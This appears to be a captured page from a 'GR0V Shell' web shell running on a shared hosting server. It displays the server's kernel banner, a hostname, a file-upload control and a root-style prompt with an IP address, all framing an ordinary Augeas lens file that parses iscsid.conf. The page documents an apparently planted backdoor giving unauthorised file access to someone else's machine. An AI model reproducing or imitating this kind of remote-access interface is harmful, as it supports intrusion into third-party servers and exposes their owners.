? GR0V Shell

GR0V shell

Linux server122.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64

Path : /opt/puppetlabs/puppet/share/augeas/lenses/dist/
File Upload :
Current File : //opt/puppetlabs/puppet/share/augeas/lenses/dist/iscsid.aug

(*
Module: Iscsid
Parses iscsid configuration file
Author: Joey Boggs <jboggs@redhat.com>
About: Reference
This lens is targeted at /etc/iscsi/iscsid.conf
*)
module Iscsid =
  autoload xfm

  let filter = incl "/etc/iscsi/iscsid.conf"

  let eol = Util.eol
  let indent = Util.indent
  let key_re = /[][A-Za-z0-9_.-]+/
  let eq = del /[ \t]*=[ \t]*/ " = "
  let value_re = /[^ \t\n](.*[^ \t\n])?/

  let comment = [ indent . label "#comment" . del /[#;][ \t]*/ "# "
        . store /([^ \t\n].*[^ \t\n]|[^ \t\n])/ . eol ]

  let empty = Util.empty

  let kv = [ indent . key key_re . eq . store value_re . eol ]

  let lns = (empty | comment | kv) *

  let xfm = transform lns filter

T1KUS90T
  root-grov@198.54.114.191:~$